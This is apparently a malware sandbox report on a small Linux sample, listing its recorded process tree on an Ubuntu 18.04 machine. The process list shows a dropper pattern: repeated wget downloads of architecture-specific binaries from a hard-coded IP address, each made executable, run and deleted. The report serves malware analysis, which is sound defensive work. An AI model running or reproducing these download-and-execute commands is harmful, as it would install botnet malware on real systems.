Analysis

  • max time kernel
    8s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03/06/2024, 09:15

General

  • Target
    913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118
  • Size 2KB
  • Sample240603-k7wjwsbb39
  • SHA256 3fd69074d997f4d86e385ea0ff8d017b9b551aadd3ec1ec27554ebb81ea68b49
  • MD5 SHA1 SHA512
Score
1/10

Malware Config

Signatures

Processes

  • /tmp/913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118
    /tmp/913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118
    1⤵
      PID:1521
      • /usr/bin/wget
        wget http://185.239.242.119/m-i.p-s.SNOOPY
        2⤵
          PID:1522
        • /bin/chmod
          chmod +x m-i.p-s.SNOOPY
          2⤵
            PID:1526
          • /tmp/m-i.p-s.SNOOPY
            ./m-i.p-s.SNOOPY
            2⤵
              PID:1527
            • /bin/rm
              rm -rf m-i.p-s.SNOOPY
              2⤵
                PID:1528
              • /usr/bin/wget
                wget http://185.239.242.119/m-p.s-l.SNOOPY
                2⤵
                  PID:1529
                • /bin/chmod
                  chmod +x m-p.s-l.SNOOPY
                  2⤵
                    PID:1530
                  • /tmp/m-p.s-l.SNOOPY
                    ./m-p.s-l.SNOOPY
                    2⤵
                      PID:1531
                    • /bin/rm
                      rm -rf m-p.s-l.SNOOPY
                      2⤵
                        PID:1532
                      • /usr/bin/wget
                        wget http://185.239.242.119/s-h.4-.SNOOPY
                        2⤵
                          PID:1533
                        • /bin/chmod
                          chmod +x s-h.4-.SNOOPY
                          2⤵
                            PID:1534
                          • /tmp/s-h.4-.SNOOPY
                            ./s-h.4-.SNOOPY
                            2⤵
                              PID:1535
                            • /bin/rm
                              rm -rf s-h.4-.SNOOPY
                              2⤵
                                PID:1536
                              • /usr/bin/wget
                                wget http://185.239.242.119/x-8.6-.SNOOPY
                                2⤵
                                  PID:1537
                                • /bin/chmod
                                  chmod +x x-8.6-.SNOOPY
                                  2⤵
                                    PID:1538
                                  • /tmp/x-8.6-.SNOOPY
                                    ./x-8.6-.SNOOPY
                                    2⤵
                                      PID:1539
                                    • /bin/rm
                                      rm -rf x-8.6-.SNOOPY
                                      2⤵
                                        PID:1540
                                      • /usr/bin/wget
                                        wget http://185.239.242.119/a-r.m-6.SNOOPY
                                        2⤵
                                          PID:1541
                                        • /bin/chmod
                                          chmod +x a-r.m-6.SNOOPY
                                          2⤵
                                            PID:1542
                                          • /tmp/a-r.m-6.SNOOPY
                                            ./a-r.m-6.SNOOPY
                                            2⤵
                                              PID:1543
                                            • /bin/rm
                                              rm -rf a-r.m-6.SNOOPY
                                              2⤵
                                                PID:1544
                                              • /usr/bin/wget
                                                wget http://185.239.242.119/x-3.2-.SNOOPY
                                                2⤵
                                                  PID:1545
                                                • /bin/chmod
                                                  chmod +x x-3.2-.SNOOPY
                                                  2⤵
                                                    PID:1546
                                                  • /tmp/x-3.2-.SNOOPY
                                                    ./x-3.2-.SNOOPY
                                                    2⤵
                                                      PID:1547
                                                    • /bin/rm
                                                      rm -rf x-3.2-.SNOOPY
                                                      2⤵
                                                        PID:1548
                                                      • /usr/bin/wget
                                                        wget http://185.239.242.119/a-r.m-7.SNOOPY
                                                        2⤵
                                                          PID:1549
                                                        • /bin/chmod
                                                          chmod +x a-r.m-7.SNOOPY
                                                          2⤵
                                                            PID:1550
                                                          • /tmp/a-r.m-7.SNOOPY
                                                            ./a-r.m-7.SNOOPY
                                                            2⤵
                                                              PID:1551
                                                            • /bin/rm
                                                              rm -rf a-r.m-7.SNOOPY
                                                              2⤵
                                                                PID:1552
                                                              • /usr/bin/wget
                                                                wget http://185.239.242.119/p-p.c-.SNOOPY
                                                                2⤵
                                                                  PID:1553
                                                                • /bin/chmod
                                                                  chmod +x p-p.c-.SNOOPY
                                                                  2⤵
                                                                    PID:1554
                                                                  • /tmp/p-p.c-.SNOOPY
                                                                    ./p-p.c-.SNOOPY
                                                                    2⤵
                                                                      PID:1555
                                                                    • /bin/rm
                                                                      rm -rf p-p.c-.SNOOPY
                                                                      2⤵
                                                                        PID:1556
                                                                      • /usr/bin/wget
                                                                        wget http://185.239.242.119/i-5.8-6.SNOOPY
                                                                        2⤵
                                                                          PID:1557
                                                                        • /bin/chmod
                                                                          chmod +x i-5.8-6.SNOOPY
                                                                          2⤵
                                                                            PID:1558
                                                                          • /tmp/i-5.8-6.SNOOPY
                                                                            ./i-5.8-6.SNOOPY
                                                                            2⤵
                                                                              PID:1559
                                                                            • /bin/rm
                                                                              rm -rf i-5.8-6.SNOOPY
                                                                              2⤵
                                                                                PID:1560
                                                                              • /usr/bin/wget
                                                                                wget http://185.239.242.119/m-6.8-k.SNOOPY
                                                                                2⤵
                                                                                  PID:1561
                                                                                • /bin/chmod
                                                                                  chmod +x m-6.8-k.SNOOPY
                                                                                  2⤵
                                                                                    PID:1562
                                                                                  • /tmp/m-6.8-k.SNOOPY
                                                                                    ./m-6.8-k.SNOOPY
                                                                                    2⤵
                                                                                      PID:1563
                                                                                    • /bin/rm
                                                                                      rm -rf m-6.8-k.SNOOPY
                                                                                      2⤵
                                                                                        PID:1564
                                                                                      • /usr/bin/wget
                                                                                        wget http://185.239.242.119/p-p.c-.SNOOPY
                                                                                        2⤵
                                                                                          PID:1565
                                                                                        • /bin/chmod
                                                                                          chmod +x p-p.c-.SNOOPY
                                                                                          2⤵
                                                                                            PID:1566
                                                                                          • /tmp/p-p.c-.SNOOPY
                                                                                            ./p-p.c-.SNOOPY
                                                                                            2⤵
                                                                                              PID:1567
                                                                                            • /bin/rm
                                                                                              rm -rf p-p.c-.SNOOPY
                                                                                              2⤵
                                                                                                PID:1568
                                                                                              • /usr/bin/wget
                                                                                                wget http://185.239.242.119/a-r.m-4.SNOOPY
                                                                                                2⤵
                                                                                                  PID:1569
                                                                                                • /bin/chmod
                                                                                                  chmod +x a-r.m-4.SNOOPY
                                                                                                  2⤵
                                                                                                    PID:1570
                                                                                                  • /tmp/a-r.m-4.SNOOPY
                                                                                                    ./a-r.m-4.SNOOPY
                                                                                                    2⤵
                                                                                                      PID:1571
                                                                                                    • /bin/rm
                                                                                                      rm -rf a-r.m-4.SNOOPY
                                                                                                      2⤵
                                                                                                        PID:1572
                                                                                                      • /usr/bin/wget
                                                                                                        wget http://185.239.242.119/a-r.m-5.SNOOPY
                                                                                                        2⤵
                                                                                                          PID:1573
                                                                                                        • /bin/chmod
                                                                                                          chmod +x a-r.m-5.SNOOPY
                                                                                                          2⤵
                                                                                                            PID:1574
                                                                                                          • /tmp/a-r.m-5.SNOOPY
                                                                                                            ./a-r.m-5.SNOOPY
                                                                                                            2⤵
                                                                                                              PID:1575
                                                                                                            • /bin/rm
                                                                                                              rm -rf a-r.m-5.SNOOPY
                                                                                                              2⤵
                                                                                                                PID:1576

                                                                                                            Network

                                                                                                                  MITRE ATT&CK Matrix

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads